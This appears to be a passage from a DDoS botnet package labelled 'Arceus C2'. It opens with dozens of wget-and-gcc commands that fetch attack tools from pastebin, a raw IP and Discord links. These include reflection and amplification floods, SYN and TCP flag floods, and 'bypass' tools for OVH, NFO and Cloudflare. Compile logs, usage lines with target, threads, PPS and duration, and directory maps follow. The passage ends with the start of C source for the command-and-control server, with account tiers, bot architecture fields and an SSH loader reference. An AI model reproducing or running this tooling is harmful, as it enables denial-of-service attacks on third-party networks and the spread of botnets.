  431. wget -q http://pastebin.com/raw/gX0waM82 -O sentinelscan.c; gcc -o sentinelscan sentinelscan.c -pthread
  432. wget -q http://pastebin.com/raw/D0UFWXmU -O netbios.c; gcc -o netbios netbios.c -pthread
  433. wget -q http://pastebin.com/raw/V6jTyjbi -O netbiosscan.c; gcc -o netbiosscan netbiosscan.c -pthread
  434. wget -q http://pastebin.com/raw/RsYN9wYs -O mssql.c; gcc -o mssql mssql.c -pthread
  435. wget -q http://pastebin.com/raw/3MT59SGE -O mssqlscan.c; gcc -o mssqlscan mssqlscan.c -pthread
  436. wget -q http://pastebin.com/raw/LAb0nSbh -O ts3.c; gcc -o ts3 ts3.c -pthread
  437. wget -q http://pastebin.com/raw/bgraxVGt -O ts3scan.c; gcc -o ts3scan ts3scan.c -pthread
  438. wget -q http://pastebin.com/raw/PNDMd2CF -O portmap.c; gcc -o portmap portmap.c -pthread
  439. wget -q http://pastebin.com/raw/LH6yB0Yt -O portmapscan.c; gcc -o portmapscan portmapscan.c -pthread
  440. wget -q http://pastebin.com/raw/De6amhpb -O tftp.c; gcc -o tftp tftp.c -pthread
  441. wget -q http://pastebin.com/raw/f1TkRk0x -O tftpscan.c; gcc -o tftpscan tftpscan.c -pthread
  442. ==================================================
  443. Server Methods I:
  444. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/yubina_collection/Files/prowin -O prowin; chmod 777 prowin
  445. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/yubina_collection/Files/yubina -O yubina; chmod 777 yubina
  446. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/yubina_collection/Files/winseqid -O winseqid; chmod 777 winseqid
  447. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/yubina_collection/Files/winsyn -O winsyn; chmod 777 winsyn
  448. ==================================================
  449. Zachs Methods I:
  450.  
  451. ==================================================
  452. Bypass Methods I:
  453. wget -q https://cdn.discordapp.com/attachments/564177458631409694/574420527125364757/xDoS -O ovhbypass; chmod 777 ovhbypass
  454. wget -q https://cdn.discordapp.com/attachments/545653871427715093/574418889484664852/RAWstd -O nfobypass; chmod 777 nfobypass
  455. wget -q https://cdn.discordapp.com/attachments/564177458631409694/575879023440166932/CF_bypass.php -O CF_Bypass
  456. wget -q https://cdn.discordapp.com/attachments/570046106474643486/575885559688462336/xts3 -O bo4bypass; chmod 777 bo4bypass
  457. ==================================================
  458. Extra Methods I:
  459. wget -q http://pastebin.com/raw/9v26VXgV -O vse.c; gcc -o vse vse.c -pthread
  460. wget -q http://pastebin.com/raw/y6hAsCMv -O telnet.c; gcc -o telnet telnet.c -pthread
  461. wget -q http://pastebin.com/raw/dR2pEeiq -O dominate.c; gcc -o dominate dominate.c -pthread
  462. wget -q http://98.143.148.177/Archive/reprobate/layer4/Other/tcp_abuse -O tcp_abuse
  463. wget -q http://98.143.148.177/Archive/reprobate/layer4/Other/udp_abuse -O udp_abuse
  464. ==================================================
  465. Extra Methods II:
  466. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/syn_collection/zsyn.c -O zsyn.c; gcc -o zsyn zsyn.c -pthread
  467. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/syn_collection/xsyn.c -O xsyn.c; gcc -o xsyn xsyn.c -pthread
  468. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/syn_collection/csyn.c -O csyn.c; gcc -o csyn csyn.c -pthread
  469. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/syn_collection/essyn.c -O essyn.c; chmod 777 essyn.c
  470. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/syn_collection/issyn.c -O issyn.c; chmod 777 issyn.c
  471. ==================================================
  472. ╔════════════════════════════════════════════════════════════╗
  473. ║ Arceus I - Compilation logs - Attack Scripts - Scanners v2 ║
  474. ╚════════════════════════════════════════════════════════════╝
  475. # DNS: - 0 Error Logs - 0 Warning Logs || Compile Success! || DNSSCAN: - 1 Error Logs - 0 Warning Logs || Compile Failed!
  476. # SNMP: - 0 Error Logs - 0 Warning Logs || Compile Success! || SNMPSCAN: - 0 Error Logs - 3 Warning Logs || Compile Success!
  477. # DB2: - 0 Error Logs - 0 Warning Logs || Compile Success! || DB2SCAN: - 0 Error Logs - 3 Warning Logs || Compile Success!
  478. # ECHO: - 0 Error Logs - 0 Warning Logs || Compile Success! || ECHOSCAN: - 0 Error Logs - 3 Warning Logs || Compile Success!
  479. # MDNS: - 0 Error Logs - 0 Warning Logs || Compile Success! || MDNSSCAN: - 0 Error Logs - 3 Warning Logs || Compile Success!
  480. # MEMCACHE: - File is precompiled. set permissions < Finished
  481. # RIP: - 0 Error Logs - 0 Warning Logs || Compile Success! || RIPSCAN: - 0 Error Logs - 3 Warning Logs || Compile Success!
  482. # REAPER: - 0 Error Logs - 0 Warning Logs || Compile Success! || REAPERSCAN: - 0 Error Logs - 3 Warning Logs || Compile Success!
  483. # ARCEUS: - 0 Error Logs - 0 Warning Logs || Compile Success! || ARCEUSSCAN: - 0 Error Logs - 3 Warning Logs || Compile Success!
  484. # HEARTBEAT: - 0 Error Logs - 0 Warning Logs || Compile Success! || HEARTBEATSCAN: - 0 Error Logs -
  485. # GRENADE: - File is Precompiled. Set Permissions < Finished
  486. # ZAP: - 0 Error Logs - 0 Warning Logs || Compile Success!
  487. # WIZARD: - 0 Error Logs - 0 Warning Logs || Compile Success!
  488. # BOGUS: - 0 Error Logs - 0 Warning Logs || Compile Success!
  489. # RAWUDP: - 0 Error Logs - 0 Warning Logs || Compile Success!
  490. # TCP-PSH: - File can NOT be compiled. just use raw .c file. still works < set permissions and your good to go
  491. # TCP-RST: - File can NOT be compiled. just use raw .c file. still works < set permissions and your good to go
  492. # TCP-XMAS: - file can NOT be compiled. just use raw .c file. still works < set permissions and your good to go
  493. # TCP-FIN: - file can NOT be compiled. just use raw .c file. still works < set permissions and your good to go
  494. # TCP-ACK: - file can NOT be compiled. just use raw .c file. still works < set permissions and your good to go
  495. # UDP_VSE1: - 0 Error Logs - 0 Warning Logs || Compile Success!
  496. # UDP_VSE2: - 0 Error Logs - 0 Warning Logs || Compile Success!
  497. # EJUNK: - File is precompiled. set permissions and your good to go
  498. # XANAX: - File is precompiled. set permissions and your good to go
  499. # FRAG: - 0 Error Logs - 0 Warning Logs || Compile Success!
  500. # ARME: - 0 Error Logs - 0 Warning Logs || Compile Success!
  501.  
  502.  
  503. ╔═════════════════════════════════════════════════════════╗
  504. ║ Arceus I - Script Usages - Attack Scripts - Scanners v2 ║
  505. ╚═════════════════════════════════════════════════════════╝
  506. ###############
  507. # Ok, so trim_integer suggest using -1 for all IPHM based methods < pps should = -1
  508. # Also, when scanning, make sure to set the $delay to 1ms
  509. # $IPSTART is the beginning IPRange Ex: 0.0.0.0
  510. # $IPEND is the finish_integer IPRange Ex: 255.255.255.255 || This will scan everything!
  511. ###############
  512. # DNS: ./dns $IP $PORT $FILE $THREADS $TIME || DNSSCAN: ./dnsscan (broken)
  513. # SNMP: ./snmp $IP $PORT $FILE $THREADS $PPS $TIME || SNMPSCAN: ./snmpscan $IPSTART $IPEND $FILE $THREADS $MS
  514. # DB2: ./db2 $IP $PORT $FILE $THREADS $PPS $TIME || DB2SCAN: ./db2scan $IPSTART $IPEND $FILE $THREADS $MS
  515. # ECHO: ./echo $IP $PORT $LIST $THREADS $PPS $TIME || ECHOSCAN: ./echoscan $IPSTART $IPEND $FILE $THREADS $MS
  516. # MDNS: ./mdns $IP $PORT $LIST $THREADS $PPS $TIME || MDNSSCAN: ./mdnsscan $IPSTART $IPEND $FILE $THREADS $MS
  517. # MEMCACHE: ./memcache $IP $PORT $FILE $THREADS $PPS $TIME || MEMCACHESCAN: ./memcachescan $IPSTART $IPEND $FILE $THREADS $MS
  518. # RIP: ./rip $IP $PORT $FILE $THREADS $PPS $TIME || RIPSCAN: ./ripscan $IPSTART $IPEND $FILE $THREADS $MS
  519. # REAPER: ./reaper $IP $PORT $FILE $THREADS $PPS $TIME || REAPERSCAN: ./reaperscan $IPSTART $IPEND $FILE $THREADS $MS
  520. # HEARTBEAT: ./heartbeat $IP $PORT $FILE $THREADS $PPS $TIME || HEATBEATSCAN: ./heartbeatscan $IPSTART $IPEND $FILE $THREADS $MS
  521. # ARCEUS: ./arceus $IP $PORT $FILE $THREADS $PPS $TIME || ARCEUSSCAN: ./arceusscan $IPSTART $IPEND $FILE $THREADS $MS
  522. # Grenade: ./grenade $IP $THREADS $PPS $TIME $SOURCEIP
  523. # ZAP: ./zap $IP $PORT $THREADS $PPS $TIME
  524. # WIZARD: ./wizard $IP $PORT $THREADS $PPS $TIME
  525. # BOGUS: ./bogus $IP $PORT $THREADS $PPS $TIME
  526. # RAWUDP: ./rawudp $IP $PPS $THREADS $TIME
  527. # TCP-PSH: ./tcp-psh.c $IP $THREADS $PPS $TIME
  528. # TCP-RST: ./tcp-rst.c $IP $THREADS $PPS $TIME
  529. # TCP-XMAS: ./tcp-xmas.c $IP $THREADS $PPS $TIME
  530. # TCP-FIN: ./tcp-fin.c $IP $THREADS $PPS $TIME
  531. # TCP-ACK: ./tcp-ack.c $IP $THREADS $PPS $TIME
  532. # UDP-VSE1: ./UDP_VSE $IP $PORT $PPS $TIME
  533. # UDP_VSE2 ./UDP_VSE2 $IP $PORT $PPS $THREADS $TIME
  534. # EJUNK: ./ejunk $IP $PORT $THREADS $PPS $TIME
  535. # XANAX: ./xanax $IP $THREADS $PPS $TIME
  536. # FRAG: ./frag $IP $PORT $THREADS $PPS $TIME
  537. # ARME: ./arme $URL $THREADS $LIST $TIME (SAYS MANUAL IP, WTF? IDK)
  538. ==================================================
  539. Installs II:
  540. ==================================================
  541. Scannable Methods II:
  542. wget -q http://pastebin.com/raw/JV9nCf6U -O dns.c && gcc -o dns dns.c -pthread
  543. wget -q http://pastebin.com/raw/ASH2DYqq -O dnsscan.c && gcc -o dnsscan dnsscan.c -pthread
  544. wget -q http://pastebin.com/raw/7LXZXPWf -O snmp.c && gcc -o snmp snmp.c -pthread
  545. wget -q http://pastebin.com/raw/EtCTaqG1 -O snmpscan.c && gcc -o snmpscan snmpscan.c -pthread
  546. wget -q http://pastebin.com/raw/PNDMd2CF -O db2.c && gcc -o db2 db2.c -pthread
  547. wget -q http://pastebin.com/raw/Fuza6KEM -O db2scan.c && gcc db2scan.c -pthread -lpcap -o db2scan
  548. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/echo/echo.c -O echo.c && gcc -o echo echo.c -pthread
  549. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/echo/echoscan.c -O echoscan.c && gcc echoscan.c -pthread -lpcap -o echoscan
  550. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/mdns/mdns.c -O mdns.c && gcc -o mdns mdns.c -pthread
  551. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/mdns/mdnsscan.c -O mdnsscan.c && gcc -o mdnsscan mdnsscan.c -pthread
  552. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/memcache/memcache -O memcache && chmod 777 memcache
  553. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/memcache/memcachescan -O memcachescan && chmod 777 memcachescan
  554. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/rip/rip.c -O rip.c && gcc -o rip rip.c -pthread
  555. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/rip/ripscan.c -O ripscan.c && gcc -o ripscan ripscan.c -pthread
  556. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/reaper/reaper.c -O reaper.c && gcc -o reaper reaperscan.c -pthread
  557. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/reaper/reaperscan.c -O reaperscan.c && gcc -o reaperscan reaperscan.c -pthread
  558. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/heartbeat/heartbeat.c -O heartbeat.c && gcc -o heartbeat heartbeat.c -pthread
  559. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Sources/heartbeat/heartbeatscan.c -O heartbeatscan.c && gcc -o heartbeatscan heartbeatscan.c -pthread
  560. ==================================================
  561. Extra Methods III:
  562. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Precompiled/grenade -O grenade && chmod 777 grenade
  563. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/Other_Collection/zap.c -O zap.c && gcc -o zap zap.c -pthread
  564. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/Other_Collection/wizard.c -O wizard.c && gcc -o wizard wizard.c -pthread
  565. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Sources/bogus.c -O bogus.c && gcc -o bogus bogus.c -pthread
  566. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Raw_Collection/rawudp.c -O rawudp.c && gcc -o rawudp rawudp.c -pthread
  567. ==================================================
  568. TCP Collection:
  569. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/tcp_collection/tcp-psh.c -O tcp-psh.c && chmod 777 tcp-psh.c
  570. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/tcp_collection/tcp-rst.c -O tcp-rst.c && chmod 777 tcp-rst.c
  571. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/tcp_collection/tcp-fin.c -O tcp-fin.c && chmod 777 tcp-fin.c
  572. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/tcp_collection/tcp-ack.c -O tcp-ack.c && chmod 777 tcp-ack.c
  573. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Collections/tcp_collection/tcp-xmas.c -O tcp-xmas.c && chmod 777 tcp-xmas.c
  574. ==================================================
  575. Extra Methods IV:
  576. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Raw_Collection/UDP_VSE2.c -O UDP_VSE2.c && gcc -o UDP_VSE2 UDP_VSE2.c -pthread
  577. wget -q http://98.143.148.177/Archive/reprobate/layer4/UDP/Raw_Collection/UDP_VSE.c -O UDP_VSE.c && gcc -o UDP_VSE UDP_VSE.c -pthread
  578. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Precompiled/ejunk -O ejunk && chmod 777 ejunk
  579. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Precompiled/xanax -O xanax && chmod 777 xanax
  580. wget -q http://98.143.148.177/Archive/reprobate/layer4/TCP/Sources/frag.c -O frag.c && gcc -o frag frag.c -pthread
  581. ==================================================
  582. layer 7 methods
  583. wget -q https://cdn.discordapp.com/attachments/564177458631409694/580871213316964373/bypass.js -O omega.js
  584. wget -q http://98.143.148.177/Archive/reprobate/layer7/Sources/arme.c -O arme.c && gcc -o arme arme.c -pthread
  585.  
  586.  
  587. #================================================#
  588. TotalmethodsIPHM = "62"
  589. #================================================#
  590. # V1 Methods
  591. ScannedMethods = ["ldap", "ntp", "tftp", "ssdp", "portmap", "chargen", "sentinel", "netbios", "mssql", "ts3"]
  592. Extramethods = ["vse", "telnet", "tcp-abuse", "udp-abuse", "dominate"]
  593. bypassmethods = ["ovhbypass", "cfbypass", "nfobypass", "bo4bypass"]
  594. vipmethods = ["hun-fun", "ass-crk", "eft-pwr", "pmp-pmp", "zch-cri"]
  595. extramethods = ["essyn", "csyn", "xsyn", "zsyn", "issyn"]
  596. servermethods = ["winsyn", "winseqid", "yubina", "prowin"]
  597. totalv1methods = "33"
  598. #================================================#
  599. # v1 Directories
  600. #================================================#
  601. # Scanned / reflection Based methods
  602. #================================================#
  603. reflection = "amp/methods/layer4/v1/reflection/"
  604. bandwidth = "amp/methods/layer4/v1/bandwidth/"
  605. ldap = "amp/methods/layer4/v1/reflection/ldap/"
  606. ssdp = "amp/methods/layer4/v1/reflection/ssdp/"
  607. ntp = "amp/methods/layer4/v1/reflection/ntp/"
  608. tftp = "amp/methods/layer4/v1/reflection/tftp/"
  609. portmap = "amp/methods/layer4/v1/reflection/portmap/"
  610. sentinel = "amp/methods/layer4/v1/reflection/sentinel/"
  611. chargen = "amp/methods/layer4/v1/reflection/chargen/"
  612. mssql = "amp/methods/layer4/v1/reflection/mssql/"
  613. ts3 = "amp/methods/layer4/v1/reflection/ts3/"
  614. netbios = "amp/methods/layer4/v1/reflection/netbios/"
  615. #================================================#
  616. # Yubina Collection / bandwidth Based Methods
  617. #================================================#
  618. prowin = "amp/methods/layer4/v1/bandwidth/yubinacollection/"
  619. yubina = "amp/methods/layer4/v1/bandwidth/yubinacollection/"
  620. winseqid = "amp/methods/layer4/v1/bandwidth/yubinacollection/"
  621. winsyn = "amp/methods/layer4/v1/bandwidth/yubinacollection/"
  622. #================================================#
  623. # Yubina Collection / bandwidth Based Methods
  624. #================================================#
  625. ovhbypass = "amp/methods/layer4/v1/bandwidth/bypasses/"
  626. nfobypass = "amp/methods/layer4/v1/bandwidth/bypasses/"
  627. cfbypass = "amp/methods/layer4/v1/bandwidth/bypasses/"
  628. bo4bypass = "amp/methods/layer4/v1/bandwidth/bypasses/"
  629. #================================================#
  630. # Custom Methods / bandwidth / reflection based methods
  631. #================================================#
  632. hunfun = "amp/methods/layer4/v1/custom/hun-fun"
  633. pmppmp = "amp/methods/layer4/v1/custom/pmp-pmp"
  634. zchcri = "amp/methods/layer4/v1/custom/zch-cri"
  635. asscrk = "amp/methods/layer4/v1/custom/ass-crk"
  636. eftpwr = "amp/methods/layer4/v1/custom/eft-pwr"
  637. #================================================#
  638. # Other methods / bandwidth Based methods
  639. #================================================#
  640. vse = "amp/methods/layer4/v1/bandwidth/other/"
  641. telnet = "amp/methods/layer4/v1/bandwidth/other/"
  642. dominate = "amp/methods/layer4/v1/bandwidth/other/"
  643. udpabuse = "amp/methods/layer4/v1/bandwidth/other/"
  644. tcpabuse = "amp/methods/layer4/v1/bandwidth/other/"
  645. csyn = "amp/methods/layer4/v1/bandwidth/other/"
  646. xsyn = "amp/methods/layer4/v1/bandwidth/other/"
  647. zsyn = "amp/methods/layer4/v1/bandwidth/other/"
  648. essyn = "amp/methods/layer4/v1/bandwidth/other/"
  649. issyn = "amp/methods/layer4/v1/bandwidth/other/"
  650. #================================================#
  651. # v2 methods
  652. #================================================#
  653. ScannedMethodsII = ["dns", "mdns", "db2", "arceus", "echo", "snmp", "memcache", "rip", "reaper", "heartbeat"]
  654. TCPCollection = ["tcp-psh", "tcp-rst", "tcp-fin", "tcp-xmas", "tcp-ack"]
  655. ExtraMethodsIII = ["grenade", "zap", "rawudp", "bogus", "wizard"]
  656. VIPMethodsII = ["msqdnm", "tfdnp", "lndp", "ardmsp"]
  657. ExtraMethodsIV = ["udp_vse1", "udp_vse2", "ejunk", "xanax", "frag"]
  658. totalv2methods = "29"
  659. #================================================#
  660. # v2 Directories
  661. #================================================#
  662. #================================================#
  663. # Scanned / reflection Based methods
  664. #================================================#
  665. dns = "amp/methods/layer4/v2/reflection/dns/"
  666. snmp = "amp/methods/layer4/v2/reflection/snmp/"
  667. db2 = "amp/methods/layer4/v2/reflection/db2/"
  668. echo = "amp/methods/layer4/v2/reflection/echo/"
  669. mdns = "amp/methods/layer4/v2/reflection/mdns/"
  670. memcache = "amp/methods/layer4/v2/reflection/memcache/"
  671. rip = "amp/methods/layer4/v2/reflection/rip/"
  672. reaper = "amp/methods/layer4/v2/reflection/reaper/"
  673. heartbeat = "amp/methods/layer4/v2/reflection/heartbeat/"
  674. arcmethod = "amp/methods/layer4/v2/reflection/arceus/"
  675. #================================================#
  676. # Other methods / bandwidth based methods
  677. #================================================#
  678. zap = "amp/methods/layer4/v2/bandwidth/other/"
  679. wizard = "amp/methods/layer4/v2/bandwidth/other/"
  680. bogus = "amp/methods/layer4/v2/bandwidth/other/"
  681. rawudp = "amp/methods/layer4/v2/bandwidth/other/"
  682. udpvse1 = "amp/methods/layer4/v2/bandwidth/other/"
  683. udpvse2 = "amp/methods/layer4/v2/bandwidth/other/"
  684. grenade = "amp/methods/layer4/v2/bandwidth/other/"
  685. xanax = "amp/methods/layer4/v2/bandwidth/other/"
  686. frag = "amp/methods/layer4/v2/bandwidth/other/"
  687. ejunk = "amp/methods/layer4/v2/bandwidth/other/"
  688. #================================================#
  689. # Layer 7 methods
  690. #================================================#
  691. omega = "amp/methods/layer7/v2/"
  692. arme = "amp/methods/layer7/v2/"
  693. #================================================#
  694. # tcp-collection methods / bandwidth based methods
  695. #================================================#
  696. tcppsh = "amp/methods/layer4/v2/bandwidth/tcpcollection/"
  697. tcpfin = "amp/methods/layer4/v2/bandwidth/tcpcollection/"
  698. tcpxmas = "amp/methods/layer4/v2/bandwidth/tcpcollection/"
  699. tcprst = "amp/methods/layer4/v2/bandwidth/tcpcollection/"
  700. tcpack = "amp/methods/layer4/v2/bandwidth/tcpcollection/"
  701. #================================================#
  702. # V1 Directory Listings
  703. #================================================#
  704. # Methods that go into amp/methods/layer4/v1/bandwidth/yubinacollection/ directory
  705. # prowin, yubina, winseqid, winsyn
  706. #================================================#
  707. # Methods that go into amp/methods/layer4/v1/bandwidth/bypasses/ Directory
  708. # ovhbypass, nfobypass, bo4bypass
  709. #================================================#
  710. # Methods that go into amp/methods/layer7/v1/
  711. # cfbypass
  712. #================================================#
  713. # Methods that go into amp/methods/layer4/v1/bandwidth/extra/ folder
  714. # vse, telnet, dominate, udp_abuse, tcp-abuse
  715. #================================================#
  716. # Methods that go into /custom/ directories
  717. # amp/methods/layer4/v1/custom/hun-fun || amp/methods/layer4/custom/pmp-pmp
  718. # amp/methods/layer4/v1/custom/zch-cri || amp/methods/layer4/custom/ass-crk || amp/methods/layer4/custom/eft-pwr
  719. #================================================#
  720. # v2 Directory Listing
  721. #================================================#
  722. # methods that go into amp/methods/layer4/v2/reflection/
  723. # dns, snmp, db2, echo, mdns, memcache, rip, reaper, heartbeat, arc-method
  724. #================================================#
  725. # Methods that go inside amp/methods/layer4/v2/bandwidth/other
  726. # zap, wizard, bogus, rawudp, udp_vse1, udp_vse2, grenade, xanax, frag
  727. #================================================#
  728. # Methods that go into amp/methods/layer4/bandwidth/tcpcollection/ directory
  729. # tcp-psh.c tcp-fin.c tcp-ack.c tcp-rst.c tcp-xmas.c
  730. #================================================#
  731. # Methods that go into amp/methods/layer7/v2/
  732. # omega, arme
  733.  
  734. */
  735. //╔══════════════════════════════════════════════════════╗
  736. // Base Includes
  737. #include <stdio.h> // Header Files [Interpreted Modules]
  738. #include <stdlib.h> // Header Files [Interpreted Modules]
  739. #include <string.h> // Header Files [Interpreted Modules]
  740. #include <sys/types.h> // Header Files [Interpreted Modules]
  741. #include <sys/socket.h> // Header Files [Interpreted Modules]
  742. #include <netdb.h> // Header Files [Interpreted Modules]
  743. #include <unistd.h> // Header Files [Interpreted Modules]
  744. #include <time.h> // Header Files [Interpreted Modules]
  745. #include <fcntl.h> // Header Files [Interpreted Modules]
  746. #include <sys/epoll.h> // Header Files [Interpreted Modules]
  747. #include <errno.h> // Header Files [Interpreted Modules]
  748. #include <pthread.h> // Header Files [Interpreted Modules]
  749. #include <signal.h> // Header Files [Interpreted Modules]
  750. #include <ctype.h> // Header Files [Interpreted Modules]
  751. #include <arpa/inet.h> // Header Files [Interpreted Modules]
  752. //╚══════════════════════════════════════════════════════╝
  753. //╔══════════════════════════════════════════════════════╗
  754. // Tool Includes
  755. #include "resolver.h" // Header Files [Additional Interpreted Module]
  756. //╚══════════════════════════════════════════════════════╝
  757. //╔══════════════════════════════════════════════════════╗
  758. #define max_file_descriptor_value 1000000 // Maximum File Descriptor Value Statement [1000000]
  759. //╚══════════════════════════════════════════════════════╝
  760. //╔══════════════════════════════════════════════════════╗
  761. // Color Codes #Custom
  762. #define Arceus_I_Custom_Purple = "\e[91m" // ANSI Colours
  763. #define Arceus_I_Custom_Orange = "\e[91m" // ANSI Colours
  764. #define Arceus_I_Custom_Pink = "\e[91m" // ANSI Colours
  765. #define Arcues_I_Custom_Green = "\e[38;5;82m" // ANSI Colours
  766. //╚══════════════════════════════════════════════════════╝
  767. //╔══════════════════════════════════════════════════════╗
  768. // Project Information
  769. #define Arceus_I_Project "Arceus C2 Source" // Defining File Principals
  770. #define Arceus_I_Developer_List ["FlexingOnLamers", "GeorgiaCri", "Transmissional", "Zach"] // Defining File Principals
  771. #define Arceus_I_Substrate_Version "Arceus I - Substrate Data System v4"
  772. #define Arceus_I_Version_Number = "Arceus I Beta Version 10"
  773. //╚══════════════════════════════════════════════════════╝
  774. //╔══════════════════════════════════════════════════════╗
  775. #define Arceus_I_User_Tool_I = "adduser" // Defining Tool Principals
  776. #define Arceus_I_User_Tool_II = "domainresolver" // Defining Tool Principals
  777. #define Arceus_I_User_Tool_III = "portscanner" // Defining Tool Principals
  778. #define Arceus_I_User_Tool_VI = "IPGeoLocation" // Defining Tool Principals
  779. //╚══════════════════════════════════════════════════════╝
  780. //╔══════════════════════════════════════════════════════╗
  781. // File paths
  782. #define Arceus_I_User_File "arceus.txt" // Defining File Paths
  783. #define Arceus_I_IPHM_Reflection_Scanners "amp/scanners/" // Defining File Paths
  784. #define Arceus_I_IPHM_Reflection_Attack_Methods "amp/methods/Reflection/" // Defining File Paths
  785. #define Arceus_I_IPHM_Bandwidth_Attack_Methods "amp/methods/Bandwidth/" // Defining File Paths
  786. #define Arceus_I_IPHM_Reflection_Lists "amp/lists" // Defining File Paths
  787. //╚══════════════════════════════════════════════════════╝
  788. //╔══════════════════════════════════════════════════════╗
  789. // External /Scripts/ || /tools/
  790. #define Arceus_I_IPHM_Attack_Process_Killer = "c2/scripts/IPHM_Attack_Process_Killer.py" // Defining External Tool Paths
  791. #define Arceus_I_IPHM_Scanner_Process_Killer = "c2/scripts/IPHM_Scanner_Process_Killer.py" // Defining External Tool Paths
  792. #define Arceus_I_Process_Killer_Installation = "c2/scripts/wget.py" // Defining External Tool Paths
  793. #define Arceus_I_IPHM_Installation_Script = "c2/IPHM_Installation.py" // Defining External Tool Paths
  794. #define Arceus_I_IPLookup_API = "var/www/html/iplookup.php" // Defining External Tool Paths
  795. #define Arceus_I_IPBlock_SSH_Scanner = "c2/scripts/scan.py" // Defining External Tool Paths
  796. #define Arceus_I_SSH_Loader = "c2/scripts/sshloader.py" // Defining External Tool Paths
  797. #define Arceus_I_Bot_Cross_Compiler = "bot/Arceus.py" // Defining External Tool Paths
  798. //╚══════════════════════════════════════════════════════╝
  799. //╔══════════════════════════════════════════════════════╗
  800. // Access Types (Accounts):
  801. #define Arceus_I_Account_Normal = "normal" // Defining Arceus Account Identification Types
  802. #define Arceus_I_Account_Admin = "Admin" // Defining Arceus Account Identification Types
  803. #define Arceus_I_Account_VIP = "vip" // Defining Arceus Account Identification Types
  804. #define Arceus_I_Account_Owner = "owner" // Defining Arceus Account Identification Types
  805. //╚══════════════════════════════════════════════════════╝
  806. struct account // Create Account Struct.
  807. {
  808. char username[200]; // username
  809. char password[200]; // password
  810. char identification_type [200]; // Admin / normal [Admin/vip/normal]
  811. };
  812. static struct account accounts[500];
  813.  
  814. struct arceus_substrate_device_data_v4 { // Create Client Data [Telnet] Struct.
  815. uint32_t internet_protocol;
  816. char x86; // Char Every Line For Output Communication
  817. char mips; // Char Every Line For Output Communication
  818. char arm; // Char Every Line For Output Communication
  819. char spc; // Char Every Line For Output Communication
  820. char ppc; // Char Every Line For Output Communication
  821. char sh4; // Char Every Line For Output Communication
  822. char transmitted_successfully; // Char Every Line For Output Communication
  823. } clients[max_file_descriptor_value]; // Set 'CLient' File Descriptor Value As Stated
  824.  
  825. struct arceus_substrate_telnet_data_v4 { // Create Telnet Data Struct.
  826. uint32_t internet_protocol; // Unsigned_Int 32 [Internet Protocol Output]
  827. int transmitted_successfully; // Use Integer To Display 'Connnected' Value
  828. } managements[max_file_descriptor_value]; // Set 'CLient' File Descriptor Value As Stated
  829.  
  830. static volatile FILE *file_filedescription_value; // Static Volatile [Setting Each Integer For EPOLL and Listen FD]
  831. static volatile int bindinginterpreter = 0; // Static Volatile [Setting Each Integer For EPOLL and Listen FD]
  832. static volatile int listeninginterpretation = 0; // Static Volatile [Setting Each Integer For EPOLL and Listen FD]
  833. static volatile int successful_transmission = 0; // Static Volatile [Setting Each Integer For EPOLL and Listen FD]
  834.  
  835. int buffer_size_string_compare(unsigned char *buffer, int bufferSize, int fd) // Create Integers For Buffer Size 'Unsigned_Char'
  836. {
  837. int total_output = 0, got = 1; // 0 = Deny / 1 = Accept Output
  838. while (got == 1 && total_output < bufferSize && *(buffer + total_output - 1) != '\n') { got = read(fd, buffer + total_output, 1); total_output++; } // If Accepted [got == 1] - Display Output, Break line '\n'
  839. return got; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
  840. }
  841. void trim_removev2(char *target_string) // Void To Char String, Do Not Output To Original Function Caller
  842. {
  843. int trim_integer; // Output Statement Result Integers
  844. int start_integer = 0; // Output Statement Result Integers
  845. int finish_integer = strlen(target_string) - 1; // Output Statement Result Integers
  846. while (isspace(target_string[start_integer])) start_integer++; // Use 'While Loop' To Begin Function Call [Any Subzero Value] - [Calculus Is Irrelevant] - Check If Passed Character Is In 'White-Space'
  847. while ((finish_integer >= start_integer) && isspace(target_string[finish_integer])) finish_integer--; // Use 'While Loop' To Begin Function Call [Any Subzero Value] - [Calculus Is Irrelevant] - Check If Passed Character Is In 'White-Space'
  848. for (trim_integer = start_integer; trim_integer <= finish_integer; trim_integer++) target_string[trim_integer - start_integer] = target_string[trim_integer]; // 'I' Value - (trim_integer = start_integer; trim_integer <= finish_integer; trim_integer++)
  849. target_string[trim_integer - start_integer] = '\0'; // Start String Of 'I' Value
  850. }
  851.  
  852. static int socket_interpretation_block_v1(int save_file_content) // Create Static Integer [Static Integer, Will Allow Concurrent Bind Socket]
